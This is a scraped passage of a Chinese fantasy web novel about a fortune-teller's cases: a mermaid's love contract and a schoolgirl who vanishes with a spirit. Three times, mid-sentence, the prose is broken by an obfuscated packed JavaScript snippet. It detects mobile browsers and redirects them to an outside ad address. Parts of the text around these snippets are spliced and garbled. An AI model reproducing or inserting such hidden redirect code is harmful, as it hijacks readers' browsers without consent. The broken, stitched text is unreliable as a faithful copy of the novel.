见凛冬不说话,张雯继续追问:“大师,求你告诉我海因在哪里吧,我想见他。” “人和妖在一起是没有好下场的,你还有大好的时光,何必在一只妖身上浪费时间和生命。”青黛看不下去,好言相劝,“他不愿见你,你走吧。” “见不到她我就不走。” 张雯不肯离去,她跪下求凛冬,一如当初海因跪下求凛冬拆散他们时一样,只不过她求的是续缘。 “大师,我已经没有多久可活了,在最后的时间里,我就想和他在一起,让我再见见他好吗?” “……”青黛看了眼凛冬,凛冬依旧一言不发,甚至低敛着眉眼,装作没看见。 她叹口气去了后堂。 张雯继续求凛冬:“大师,我就想见他最后一面,问他要个解释,哪怕是分开,我也要听他亲口说。” 凛冬这才回她:“你找我算完命第二天,海因过来求我,你知道他求什么吗?” 张雯红着眼:“求什么?” “他求我拆散你们,解开你们身上的契约。” “……” “我还是那些话,你是绝夫命,不利丈夫,不适合结婚,适合出家,如果执意要在一起,伤他又伤己。” 海因能跨越次元来到这个世界,一是他本身为妖,二是张雯用爱滋养。 也正是因为如此,张雯才会透支身体,寿命缩短。 “大师,真的没有其他破解之法了吗,我们只能分开吗?” 凛冬犹豫再三,准备开口时,海因自己扶着墙走出来:“大师,可以让我们单独谈谈吗?” “海因。”张雯从地上起来,用最快的速度跑到海因面前。 她用手捧起海因的脸,海因的状态肉眼可见比他们分开的时候还要差,原本为了融入这个世界做的一切改变都消失,他的头发从黑短发又变回银白长发。 张雯再次深深感受到次元割裂感,她摸着海因的脸,眼里满是心疼:“你瘦了。” 她将面前的人紧紧抱住:“傻瓜。” 张雯多么希望时间能停止在这一刻,让她可以好好的,长长久久的抱着她的爱人。 海因虽然体力还没完全恢复,也是伸手将人圈在自己怀中。 凛冬手机来了电话,她看了一眼正处在偶像剧粉红桥段的小情侣,拿着手机去外面接电话。 两人抱了不知道多久才分开。 好几日不见,再见又不知该从何开始慰问,因此海因选择先为之前找人装小三破坏婚礼的事情道歉:“婚礼上的事情……对不起,你的手还好吗?” “没关系,我不怪你。”张雯将手腕露出来,“不严重,没什么事情。” 海因拆开伤口的纱布,用人鱼之力将伤口抚平复原。 “我欠你的仪式,现在补给你,不知道还来不来得及。”海因掏出那枚婚戒,单膝跪下求婚:“亲爱的异人小姐,你是否愿意嫁给海神之子海因,与他缔结契约,生生世世?” “我愿意,我愿意嫁给海因,与他缔结契约,生生世世,同生共死。” 张雯伸出手,海因将戒指戴在她无名指上,随后低头,在戒指上留下虔诚一吻。 张雯摸着无名指上的戒指:“现在可以解释了吗?” “什么?” “你隐瞒我的所有事情。” “……好。” 海因只把婚礼事件的全部经过说了一遍,仍然对张雯有所隐瞒。 在后堂偷听的青黛忍不住走出来:“都到这个时候了,你还要瞒着你女朋友吗?” “青黛姐。”海因脸色灰白了一霎,生怕青黛说什么。 “你还瞒着我什么?”看到海因面色微变,张雯就知道这条鱼肯定还瞒着她一些东西。 见他咬紧牙关不肯说,张雯也不从他嘴里撬:“青黛姐,他还瞒了我什么?” 海因面露乞求之意:“不要说……” 青黛当没看见他的乞求,该说的不该说的全说了:“他不属于这个世界,来到这个世界后,走的每一步路都像踩在刀刃上,这点你刚刚怎么不说? 别的妖都是吸人精气,你倒着给人补精气,这点怎么也不说,还有最重要的,你快……” “别说了,青黛姐。”眼看青黛要说出自己的寿数,海因及时出声打断。 张雯抓紧海因的手,继续追问:“快怎么了?” “快死了呗。”说完,青黛坐在凛冬的椅子上,给自己倒了一杯茶,“小人鱼,想不想和你女朋友长命百岁,我们做个交易怎么样?” …… 凛冬打完电话回来,就见青黛坐在她的位置上吃糕点,海因和张雯站在一旁,她一进来,两人就把目光投在她身上。 “你们聊完了?准备什么时候解除契约。” 无伤解开契约的方法是不行了,她还有另一种更快速的,就是会让俩人都吃点苦头。 不过爱能止痛,所以他们也不算吃苦头。 两人没说话,齐齐跪在地上,这阵仗吓得凛冬站住脚步,不敢再往前走。 海因牵住张雯的手开口:“大师,我不想解开契约了。” “也行。”凛冬不想和他们过多纠缠,“青黛,给他们退一部分钱。” 一听到退钱,海因急了:“大师,我想求您许我们一世情缘,我愿意用我的一切来换。” 张雯附和:“我也是。” 凛冬没说话,看了眼青黛,青黛从抽屉里拿出她的万妖幡:“冬冬,你不是缺妖吗?我看这人鱼还不错。” 凛冬想也不想就拒绝:“太弱了,不要。” 青黛给海因使了个眼色。 海因马上领会她的意思:“大师,我人鱼族骁勇善战,可以操控海洋潮汐,召唤虾兵蟹将,还可以蛊惑人心,提供疗愈。” 凛冬充耳不闻:“白起呢?” “我在这儿。”白起从后堂出来,手里还捧着一桶快吃完的泡面,“怎么了?” “走,跟我去看房抓鬼。” “好。”白起快速把剩下的泡面吃完,“地址发我。” 见凛冬带白起都不带自己,青黛急了:“那我呢?” “你留下来退钱送客。”凛冬交代完,没管地上跪着的两个人,带着白起走了。 “起来吧,都走了你们跪着也没有用。” “青黛姐,如果我一开始就求大师给我们续缘,大师是不是就会答应了。” “不会。”青黛答的很快,“我也只是让你们试试。” “那我们怎么办?” 青黛在手机计算器上捣鼓一番,算好钱从抽屉数了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15012535|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些现金出来还给他,然后拍拍他的肩膀:“看你诚意了,小人鱼。” 海因顿时领会了青黛的意思。 之后每天,他都过来这里做义工,打扫卫生,帮忙搬运东西,给客人泡茶,在店门口当人形招牌。 因为长得很好看,不少人为了喝上他亲自泡的茶而进来找凛冬算卦。 算的全是自己和海因有没有可能,或者海因喜欢什么样的女生这类爱情问题,给凛冬都算烦了。 终于她忍不住,在关门的时候叫住海因:“明天带着张雯过来吧。” 上了车,凛冬才发现司机是白起:“公司不忙了?” “明天我休息,今天晚上可以陪你去抓鬼。” “今天不去,我要补觉。” 青黛好奇问:“你们到底在抓什么鬼啊?” “不知道,在十字街蹲了一个多月了,鬼影子都没看见,我给了她一道符挂家里,让她发现闹鬼的时候马上给我打电话。” “记得带上我一起去,我还想试试最近修为到什么境界了。” “嗯。” 第二天一早,堂口刚开门不久,海因就带着张雯来了。 凛冬看见两人,从腰后摸出万妖幡,在两个人还没反应过来的时候往他们身上丢去。 青黛全程旁观,看着万妖幡把两人吸进去后掉在地上,上前把它捡回来:“人还没死也可以进去吗?” “嗯。” “他们在里面待多久?” “一天。” “我进去看看。”青黛钻入万妖幡。 里面情景不同她刚进去的时候,是一个全新的世界,只是这里的人都有些奇怪,好像看不见她。 微风卷来海洋的潮湿与腥咸,她顺着那鱼腥味来到海边。 波光粼粼的海岸上,一条成年雄性人鱼,正坐在岸边的礁石上,用细长白嫩的人类手指打理着如海藻一般稠密的银白色长发。 离得有些远,但青黛还是能认出那是海因,而且这画面她也见过。 这里分明是那个叫《跨越次元之恋》的游戏世界。 当她再靠近一些后,海边又出现了一个人,她穿着类似巫师一样的黑斗篷,露出美丽的脸,正是张雯本人。 青黛:“!!!” 她从万魂幡出来,发现时间也才过了几十秒而已。 青黛兴奋的拿掉凛冬手里的书:“冬冬,我也要!” “要什么?” “虚拟世界!” 凛冬把书拿回来继续看:“要去吧。” * 两天后,凛冬和青黛站在飞机场送人处,看着张雯和海因这对小情侣在那边磨蹭。 “该登机了。” “我去提醒一下。”青黛走过去将两人拆开:“又不是不能再见了,你们俩别整的跟生离死别一样。” “知道了。”张雯抱了抱青黛,“谢谢你,青黛姐。” 海因跟长辈一样开始唠叨叮嘱:“雯雯,记得照顾好自己,有时间我就去看你。” “好,我去跟大师告别。” 张雯来到凛冬面前:“大师,谢谢你,等我学成归来给你帮忙。” 凛冬没点头,只说:“一路顺风。” 等张雯离开,她还站在原地。 “走了冬冬,我们吃火锅去,小帅哥又开了一家新火锅店,请我们去吃饭呢。” 吃完饭,海因先一步离开:“大师,我回去收拾一下东西,明天搬过来。” “去吧。” 等上了白起派来的车,青黛摇下车窗:“冬冬,你人真善良。” “我只是觉得恋爱脑太烦人了而已。” 青黛笑笑:“确实挺烦人的。” 三天后,凛冬正准备出门抓鬼的时候,收到了张雯发来的照片和消息。 照片是道士的皈依证。 【大师,你介绍给我的大师让我入了龙虎山的正一,他说全真不能结婚。】 凛冬回了个“好”的表情包,就关掉了手机。 * 卷二《文昌贵人》完 14.偏印 “我先过去,你停好车来找我。” 车子刚刚停稳,凛冬就解开安全带下车,来到约定的地点。 约定好的人还没有到,只发来一段语音:“不好意思大师,我刚出手术室,您稍等一下,我马上就到。” 凛冬找到公共椅子坐下,回她:【不急,路上注意安全。】 白起将车停到指定地点后,拐去超市买了两根雪糕,分给凛冬一根:“这大白天的,真能抓到鬼吗?” 已经进入初夏,阳光开始灼人,空气也渐渐闷热起来,别说鬼怪,人都不愿意出来。 “晚上也抓不到。” 今天是工作日,大人在上班,小孩子在读书,小区里没有多少人。 “你说她是不是压力太大了导致精神有些错乱,我看她女儿很正常,不像被鬼跟上的样子。” “或许吧。” 凛冬也不知道,她接了这个单子之后,经常熬夜来蹲点抓鬼,就连风水什么的也都看了,愣是没见到一点鬼怪的影子。 可对方却一直坚持,说有鬼怪作祟。 晚上抓不到,她就只好变换策略,白天过来抓。 等了一会儿,约好的刘书雪女士还是没到,只打来一通电话:“大师,能请你来学校一趟吗?刚刚奈奈班主任给我打电话,说奈奈不见了,我现在正在往学校赶。” 凛冬站起身:“我马上到。” “谢谢,我在学校门口等你。” 刘书雪收回眼中的泪,让自己冷静下来,用最快的速度赶往学校。 凛冬这边也不拖延,挂掉电话后就和白起出发,来到学校和刘书雪会合。 “大师。” 刘书雪看起来像是没有休息好,面色疲惫,皮肤暗黄,只有鼻头红红的,应该是才哭过一场。 凛冬不啰嗦:“走吧。” 三个人一起来到教师办公室,这会儿其他老师都在上课,只有许奈的班主任在。 许奈在学校失踪,她的脸色也不太好。 “赵老师,我女儿还没有消息吗?她平常关系比较好的几个同学呢,她们都不知道奈奈去哪里了吗?” 一路上,刘书雪都表现得很冷静,看到班主任后,焦急的情绪才从她身体喷涌而出。 “我问过了,还查了监控。”班主任边说边打开电脑,打开监控录像:“许奈是进了厕所之后消失的,学校其他监控我们也都查了,她进了厕所之后就没有出来。” 凛冬盯着电脑,监控画面确实如班主任所说。 上课铃声敲响的时候,其他同学都回教室上课,许奈独自一人进了厕所,就再没有出来过。 当时上课的老师发现后,还派学生来厕所找过,但那会儿许奈已经消失了。 前后也不过是三五分钟的事情。 同一时间段的其他监控录像班主任也给调出来了,仍然找不到许奈的影子。 “许奈家长,要不报警吧,好端端的,学生怎么会突然就消失呢?”这件事情太过邪门,处理不好怕是会造成一定的恐慌。 刘书雪没有理会班主任的建议,她将监控又放了一遍,抓住凛冬的手:“大师,我求求你,你一定要救救我女儿,她一定是被什么不干净的东西带走了,你一定要救她。” 她的情绪彻底打败伪装出来的坚强,泪水夺眶而出,班主任抽了几张纸巾给她,无声安抚她的情绪。 凛冬看着监控画面,刘书雪方才将画面定格在了许奈进厕所前,画面中的小姑娘正抬头看着监控。 “我们先去厕所看看。” “我带你们过去。” 班主任在前面带路,凛冬紧随其后,刘书雪将眼泪擦掉也跟上去,碍于性别,白起一个人留在厕所外面待着。 厕所里的空气并不好闻,各种味道扑面而来,凛冬掩住口鼻,查看了每一个厕所的隔间。 从最后一个隔间出来后,刘书雪迎上来:“大师,有没有什么发现。” 一直到出了厕所,来到白起面前后,凛冬才说:“你女儿已经不在学校里了,我们得回你家一趟。” “那我们现在就回去。” “坐白起的车吧。” 怕她下夜班太过疲惫,在路上发生交通事故,凛冬提出让她换乘。 “好。” 刘书雪没有拒绝,和班主任简单交代了几句后,就跟着凛冬回到小区。 乘坐的电梯刚停稳,刘书雪就冲出去,从口袋里掏出家门钥匙开门,门一开,她钥匙都来不及拔走,就冲进屋子里寻找女儿的身影:“奈奈,奈奈,你在家吗?别吓妈妈。” 凛冬不急不忙跟在后面,把钥匙发下来放在客厅茶几上。 白起靠近,压低声音问她:“那个孩子,真的被鬼带走了?” 凛冬摇摇头,小声回复:“恐怕是她自愿的。” 两室一厅,一厨一卫的小屋子被装扮的很温馨,屋内没有什么摆件,只在阳台种了几盆常青植物,剩下的全是各种奖杯,证书和奖状。 他们之前来看风水的时候就见到过,只是当时没有多注意。 趁着刘书雪在许奈房间里翻找的时候,凛冬仔细看了墙上贴着的奖状。 全国中学生数学竞赛第一。 全国中学生英语能力竞赛第一。 全国中学生物理竞赛第一。 青少年小提琴协奏曲比赛专业少年组第一。 四个第一让没上过学的凛冬看得眼花缭乱,她转移视线,看向墙上挂着的相框。 照片里,少女手持小提琴,身穿礼服,直面摄影机,脸上全是成熟稳重,没有属于孩子的灿烂笑容。 “看起来这个孩子平时压力很大。” “你怎么知道?” “我小时候,家里也是严格培养我的。”回忆起那些被逼着学习的童年,白起摇摇头想将那些记忆晃出脑袋去:“每天一睁眼就是学习各种知识和礼仪什么的,往全能方向发展。” “看来有钱人家的孩子也不好做。” “跟家长的期望有关吧。” “大师,你看。” 刘书雪手拿着一个红布包从房间出来,凛冬将它拆开,里面正是前不久她给刘书雪的那道用来挡鬼的符。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我在这里。”海因慢吞吞从后面出来,手上还拿着一瓶眼药水,估计是哭的眼睛都干了。 凛冬不能理解:“你很缺钱吗?” “不缺,我缺珍珠项链,我挑了一些好看的准备做一条,你要不要?我给你也做一条?”青黛从抽屉里掏出来一条项链,戴在脖子上给凛冬展示。 凛冬:“……” 她转头命令海因:“没有我的允许你以后不许哭。” 多大的鱼了,都成家了,还能被一条蛇哄着当牛做马在这里出卖眼泪,再给身体哭坏了,吃的不还是她的丹药吗? “我知道了。”海因点点头,继续给自己上眼药水。 “不说这个,你们两个去抓鬼,抓到没有?”青黛把项链摘下塞回抽屉,八卦起这一单生意。 “不是鬼。”凛冬坐下来,把拍摄的照片从手机上传到电脑,放在电脑上寻找,发现这些动漫人物在动漫里饰演的都是母亲这个角色。 她关了手机,起身离开:“我去躺一会儿,有人来就叫我。” 白起想跟她一起,却被青黛和海因拉着留下来唠嗑。 三个人在前面有说笑,凛冬屏除他们的声音,回顾起这件棘手事情的全部经过。 15.偏印 凌晨05:15 刘书雪敲完最后一行病历,又检查了一遍,确认无误才起身离开医办室。 医院走廊安安静静,护士站还亮着灯,今天和她一起值夜班的护士不在,应该是去检查刚刚做完手术的病人了。 “书雪,等一下。” 值班护士手里拿着空药瓶回来,将准备回值班室休息的她喊住。 “怎么了?” 护士把药瓶放到指定垃圾桶里,快速洗手消毒:“我给你拿桶泡面你泡着吃点吧,我看你昨天晚上没怎么吃东西。” 刘书雪确实有些饿了,没有拒绝:“好,谢谢。” 护士给她拿了一桶泡面,一根肠一颗卤蛋,她回到值班室,用热水把泡面泡上。 等待面饼泡开的时间,她打开手机,匿名编辑了一段最近自己身边发生的诡异事情,发在当下比较火的论坛上,想找有能人士帮忙解决。 发完后,她又搜索了一些这方面的事情,大数据识别后,开始给她推送各种同类型的问题,以及一些算卦看八字的广告。 刘书雪粗略扫了一遍,在一堆广告中看到了一个比较显眼的网站。 【紫薇网】 【擅长:捉妖,捉鬼,算命,看风水,超度,卜卦……】 【先看后付】 【有需者请留言,着急请拨打电话】 看到捉鬼两个字,刘书雪点进去,找到留言图标,给对方留言。 【大师您好,我怀疑我女儿被鬼跟上了,你能帮忙把鬼捉走吗,费用是多少?】 知道这个时间对面不会回复,她把网页收藏后就退出去。 时间刚好来到5:30,她的泡面也泡好了,便不再看手机。 吃完饭后她又躺下休息了一会儿,等着交班。 早上八点多,和同事交完班后,刘书雪换了衣服下班,她找到自己的车坐上驾驶座,掏出手机,本想看看论坛有没有什么评论,发现紫薇网给她回了消息。 【先看完再说费用,你什么时候有时间,来堂口当面详说。】 她下了夜班正好有时间,便点进去那个地址,跟着导航来到一个堂口。 堂口挂着一个匾,上面写着“紫薇门”三个大字。 确定没有导航错位置,刘书雪推门进去。 堂内只有一个女人,打扮的很是朴素,听到她进来,女人抬起头看过来:“请坐,你要看什么?” 刘书雪走过去,坐在女人对面,掏出手机打开紫薇网聊天记录:“你好,我是那个在紫薇网上和大师约好要抓鬼的,请问大师……” 面前的女人过于年轻,看着也就二十出头的模样,她有些不确定女人是不大师。 “我就是,我叫凛冬。”凛冬自报家门,“你说你女儿被鬼跟上了,可以详细说说吗?” 凛冬给她倒了一杯水,她喝了口水,从发现女儿不对劲的时候开始讲:“我女儿从小就很听话,可上高中没多久,她就跟着学校里的其他学生学坏了。 一开始她只是跟我顶嘴,后来不知道怎么回事,她经常离家出走去游戏厅,我给她的零花钱并不多,她却能买很多乱七八糟的东西回来。 我问她那些乱七八糟的东西都是哪里来的,她说是同学送的,我找过她班主任联系那些同学家长,警告过他们不要让孩子打扰我女儿学习,我还偷偷查过她钱包,你知道吗大师,她的钱包里面,全是那种类似冥币的钞票!” 凛冬:“……” 刘书雪顿了顿,继续说:“我把那些钞票和她之前买的东西全部扔了,之后,我再也没有在她的钱包里见过那些冥币,她也很少再往家里带一些超过她购买能力的东西。 可是有一天,我的同事告诉我,她在西餐厅看见我女儿一个人点了一桌子菜,那里的消费水平很高,同样不是她能支付的起的……” 星期一。 少女写完作业,揉了揉有些酸累的脖子,拿起一旁的日历,在今天的日期上打了一个大大的叉。 看着旁边被圈起来的星期二,她放下笔,关掉屋内的灯上床酝酿睡意。 脑海中,浮现出一个问题:你的十六岁生日,想要什么样的生日礼物? 少女在床上翻来翻去,她脑海里瞬间冒出很多东西,谷子,海报,小卡,每一个都是她所钟爱的。 想到这些的时候,她情绪激动,就好像那些东西已经出现在她卧室里了一样。 她侧着身,十指合握,紧贴着额头虔诚祈愿:“我想要妈妈给我……” 买…… 少女忽然想起,她之前买的那些谷子和小卡已经全部被妈妈扔掉了。 高涨的情绪瞬间跌落下来,少女心里闷沉:“为什么妈妈不能像你一样,支持我的爱好呢。” 感受到额间有只无形的手抚摸过,少女叹口气:“算了,明天生日,我想和妈妈一起去塞纳左岸餐厅吃饭,我们已经好久没有坐下来一起吃饭了。” 怀着对母亲的责备与对生日的期待,少女沉沉睡去,她睡时没有盖好被子,很快,少女口中的“你”发现了,用无形的双手替她将被子盖好。 少女睡梦中呓语:“妈妈,阿家……” 星期二。 少女起了个大早,她以为自己起的已经够早了,但妈妈起的比她还要早。 “妈妈,早。” 厨房里的母亲听见她在喊,回头看了一眼:“今天怎么起这么早?” “你在煮什么?”少女过来看锅里煮的什么。 “今天是你的生日,早上当然是吃长寿面。”母亲边说,边将自己刚刚擀好的面条放入锅中。 “这些是不是不够我们两个人一起吃啊。”看着锅里那明显是一人份的面条,少女发出疑惑。 “这是给你一个人吃的,你等下洗漱完,自己吃饭然后坐公交上学去。” “那你呢?” “早上有个手术要早点进手术室,我这会儿就得过去。” 见面煮好了,她关火,将面条盛出来端到餐桌上:“吃完把碗泡上就行,我回来洗,快去洗漱吧,我走了。” “好。” 母亲急急忙忙解下围裙,拿上钥匙上班去,少女洗漱完,从橱柜拿出来一只碗和一双筷子,将面条分过去一部分,放在自己对面。 “妈妈不能陪我吃长寿面,那你陪我吃吧。” 她用筷子挑起面条,吹了吹,觉得不烫了才开始吃,在她对面,筷子奇迹般悬空,学着她的动作挑起面条吃,面条凭空消失不见,仿佛真有一个人坐在少女对面吃饭一样。 由于中午回家比较麻烦,妈妈不一定有时间给她做饭,少女中午一般都是在学校吃的,和几个同学一起。 几个同学说说笑笑,讨论着学校里的事情,没有人向她送上生日祝福,因为她没有跟任何人说自己今天过生日的事情。 “许奈,你今天怎么不说话,是不是还在因为你妈妈的事情难受啊,你放心,我们不可能因为你妈妈那么说就不跟你玩儿了。” “我妈也总是这样,我们都能理解,这不怪你。” “要不这样吧,今天下学,我请你们喝奶茶怎么样?咱学校门口那家奶茶店又出新口味了。” “好啊好啊,许奈你觉得呢。” 许奈这才有所回复:“不了,我晚上还有事情。” 她今天发呆,主要是在想,等下放学了该怎么和妈妈说去塞纳左岸餐厅吃饭的事情。 许奈想了很久,最后还是决定通过电话和妈妈沟通。 出了校门,她背着书包站在校门口,手里拿着手机,已经在键盘输入了妈妈那串号码,就差按下拨通键。 在她还犹豫着的时候,妈妈先一步给她打过来,铃声响了两遍她才准备好:“喂,妈妈,我放学了,等下我们一起去塞……” 可母亲没听见她说话,只是交代:“喂奈奈,你这会儿放学了吧?你自己先回家点个外卖吃,我这会儿加了一台手术,做完手术回去可能就有点晚了,你要么自己拿钱买个蛋糕,要么等明天我给你补一个。” “……好。” “你刚刚是不是说要和我一起去哪里来着?” “没有,我哪里也不去,妈妈,你去忙吧。” “好。” 母亲挂了电话给她转账了300块钱,让她自己点外卖吃。 许奈把钱收了,来到校门口的公交等候处坐下。 可以到家门口的五路公交车在站牌处停下,许奈内心纠结了一番后,选择继续等待。 她换了公交车,独自一人来到塞纳左岸餐厅,点了一桌子菜,还提前买了一个价格不菲的蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15029266|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让外卖送过来。 医院里。 手术还没开始,上夜班的麻醉师姗姗来迟,她给患者打上麻醉,在等待患者沉睡的过程中,和这次的主刀医生刘书雪聊起家常。 “刘医生,你女儿今天过生日呢?” “你怎么知道?” “我刚刚过来的时候,在餐厅碰见你女儿了,她一个人点了一桌子菜,还买了一个生日蛋糕。” “哪个餐厅?” “好像是叫塞纳左岸吧,最近新开的,它家牛排还不错,就是价格有点贵。” 刘书雪心中察觉不对,但没有在外人面前表现出来:“嗯,对,她今天生日,我加班没办法陪她,就让她自己去那边吃饭了。” 手术马上开始,她已经穿好手术衣,就是想打电话过去责备,也腾不出手来,秉承着对患者的负责,她暂时将女儿放在脑后,开始手术。 一个小时后,手术顺利完成,她换回衣服从手术室出来,打视频给许奈。 许奈接的很快,她已经换上了睡衣,背景看着也确实是在她们家中。 “奈奈,吃了晚饭没有?” “吃了,妈妈你是准备回来了吗,我给你也点一份外卖吧。” 见女儿在骗自己,刘书雪没有拆穿:“不用,我在路边买点烧烤算了,你想吃羊肉串吗,我给你也带点。” “好啊。”许奈乖乖点头,“妈妈我在家等你,你路上注意安全。” “好。” 挂断电话,刘书雪按照母女俩人的喜好买了点烧烤带回家,许奈又陪着她吃了一些,食量和以前一样,根本不像吃过东西。 把垃圾收拾掉后,刘书雪从自己房间拿出来一个礼物盒:“妈妈给你买了个生日礼物。” 许奈两眼放光:“是什么?” “打开看看不就知道了?” 许奈在母亲的催促下解开红丝带,掀起盒子顶盖,只见那粉红色的礼物盒中,静静躺着一把小提琴。 “之前老师不是说你那把琴不够专业嘛,我给你买了一个专业的琴,你快拉一首曲子试试这把琴的音色。” 刘书雪说着,丝毫没有注意到许奈脸色变得难看。 “这把琴很贵吧。” “不贵,给你花多少都值得,喜欢吗?” “我不喜欢。”许奈狠狠驳回母亲的话,“我根本不喜欢小提琴,一直以来喜欢小提琴的都是你,不是我,我讨厌小提琴!” 刘书雪第一次看见发飙的许奈,一时间不知道该做什么。 “你为什么总是这样,去年你送我教辅书,前年你送我私教课,我一点都不想要这些,你为什么不能送我一些正常的生日礼物!” “奈奈,你是怎么了?你以前不是这样的,是在学校发生什么事情了吗?” 向来乖巧的女儿今天莫名其妙发这么大的脾气,刘书雪的本能反应不是和自己女儿吵架,而是怀疑女儿是不是受了什么委屈。 “你总是这样,从来不在乎我的感受。” 许奈留下一句话,回了房间,将门反锁,她把窗台上的花盆抱到书桌上,对其倾诉:“我不想要小提琴……我想要以前的妈妈,我想要爱我的妈妈。” 花盆里的植物被风吹得摇曳,像是在努力卖弄舞姿哄她开心。 “她已经不是我的妈妈了……” 屋外,刘书雪愣了许久,才将小提琴从礼物盒中拿出来,把原先家中的小提琴收起来,把它放上去。 这把琴十万。 她不知道加班做了多少台手术,打了多少份工才攒够钱将这架琴买回家,在保持家庭开销不变的前提下,靠加班和兼职赚够十万,着实不容易。 可一想到这都是为了女儿,她就不觉得累,不觉得苦。 可是为什么,女儿不领情呢? 明明小时候,她那么喜欢小提琴。 刘书雪望着那把小提琴,不由得想起来,丈夫刚逝世半年的时候。 那天下班,她接女儿回家。 路过一家卖乐器的商店,她只有五岁的女儿停下脚步,趴在透明玻璃上,看里面的人拉小提琴。 她问只有五岁的女儿:“喜欢吗?” 女儿说:“喜欢。” 于是,她攒攒工资,选了个启蒙班,把女儿送进去学小提琴。 16.偏印 星期三。 吵完架后,母女之间的气氛变得尴尬起来,相互之间谁也不主动说话,刘书雪几次欲言,全被许奈冷冰冰的态度阻止。 她照常做了三明治留在饭桌上,让许奈拿着上学路上吃。 可是许奈看都不看,换了鞋子后就背着书包出门,话都没说一句。 刘书雪看着桌上被冷落的三明治,将它拿起来装到包里,带到医院当午饭吃。 今天工作不忙,没有安排手术查完房写完每日的医嘱和病历后,刘书雪闲下来,和同事聊天:“张姐,你之前定的那家蛋糕店有电话吗?” “你要定蛋糕吗,我把老板名片发给你,你和她聊吧。”张姐找到名片发给刘书雪,“这家蛋糕款式好看还好吃,那个海盐味道的我觉得不错,你可以试试。” “好。” 刘书雪加上老板后,问了她几种孩子们会喜欢的款式,老板发来许多图片,她在选中一个付钱定下,约好下班后去拿。 张姐拿着手机摆弄了一会儿,见刘书雪不忙了,才打扰她:“书雪,你买不买监控,这家店三个人以上给优惠,还差最后一个人。” “监控?买那个做什么?” “我老公最近不是出差不在家嘛,我上班又忙,你也知道我婆婆和我妈她们看不住我儿子那个混球,这不,我准备买个监控放在家里,上班的时候能用手机看着他写作业,还能跟他说话,也省得给他留手机了。” 张姐满脸愁容发牢骚,同事之间没少吐槽过自己家庭中琐碎的烦心事,偶尔也会共同交流一下育儿经验。 张姐家有个跟她斗智斗勇的混世小魔王大家都是知道的,一旦育儿出现什么问题,大家都会来找她讨论育儿经验。 “会不会不太尊重孩子的隐私啊。”刘书雪有些顾虑,觉得这样不太好。 张姐并不为刘书雪所说的“隐私”而动摇:“现在孩子都叛逆,你不安个监控,说不定在家里给你作什么精呢,打电话跟你说在家写作业,其实人在网吧里上网呢,我都抓到他好几次了。” “也是。”刘书雪听得心动,又想到昨天做手术时,麻醉师同事说见到许奈一个人吃西餐的事情,当下便决定:“那我也买一个吧。” “那好,等明天下班,我叫上我闺蜜,咱们一起去店里看看。” “好。” 下班后,刘书雪开车回家,路上绕路去取了蛋糕。 回到家,她把蛋糕放在桌子上,取浴室洗手消毒,才来到许奈的卧室门前。 她犹豫了好久,抬手用食指敲门:“奈奈,妈妈给你买了生日蛋糕,快出来吃生日蛋糕吧。” 门那一边没有回复,她又耐心敲门问了一遍,这一次,她附上耳朵仔细听里面的动静。 里面还是安安静静的,出于对女儿的关心,刘书雪找来备用钥匙将反锁的门打开。 她焦急地推门而入,紧张的双眸对上的却是一双带着逃避之色的眼睛。 “你干什么?”许奈下意识拉住被子。 “你在屋子里,我叫你你为什么不说话,你在看什么呢?”刘书雪将许奈的被子掀开,许奈死死压着,却敌不过母亲。 在蛮力之下,藏在被窝里的粉色书信散落一地。 粉色,画满爱心的信封,好看的字迹将一些粉红的描写写满整张纸的文字。 刘书雪也是经历过青春期的,她一眼认定这些信:“这些情书是哪里来的,是哪个男生写给你的,你才多大?” 一想到自己才刚刚上高中的女儿从乖乖女步入歧途不学好,刘书雪心中就莫名一股气,她将那些情书抓起来,撕了个粉碎,扔到垃圾桶里。 “那不是情书……”许奈伸手去抢,却拗不过一个成年人的体力,只能看着刘书雪将那些她花了一天时间准备的东西毁灭。 “以后别让我再在你屋子里看见这种东西,你现在的年纪应该好好读书,不是整这些乱七八糟的东西。” “这不是乱七八糟的东西……你什么都不知道,我讨厌你。”许奈看着一地狼藉,突然爆发力气推开母亲,鞋都顾不上穿,光着脚就跑出去。 “许奈,你给我回来!” 刘书雪从地上站起来吼她,但许奈已经不见了踪影,想着她光着脚也跑不了多远,自己也确实在气头上,便没有出去找。 反正许奈吃到苦头,自己就会回来认错的。 许奈光着脚从楼上跑下来,小区的路灯昏暗,偶尔踩到石头和树枝的疼痛,还有从脚下升到全身的冰凉,让她不敢再光着脚到处乱跑。 她找了一把长椅坐下,将脚也放上去。 她穿得薄,脚也冰凉,委屈和寒冷交加让她忍不住在这无人的夜晚小声哭泣。 不知道哭了多久,她感觉到有人从背后将她环抱住,为她挡去夜晚的寒凉,双脚也被无形的东西暖着。 这熟悉的温暖让她认出来人:“阿家……谢谢你。” 头顶被人轻轻抚过,像是慈爱的母亲在安慰孩子一样,许奈心中暖了许多。 她抓住这温暖恳求道:“阿家,你带我走吧。” 风轻轻带来阿家的声音:“好。” 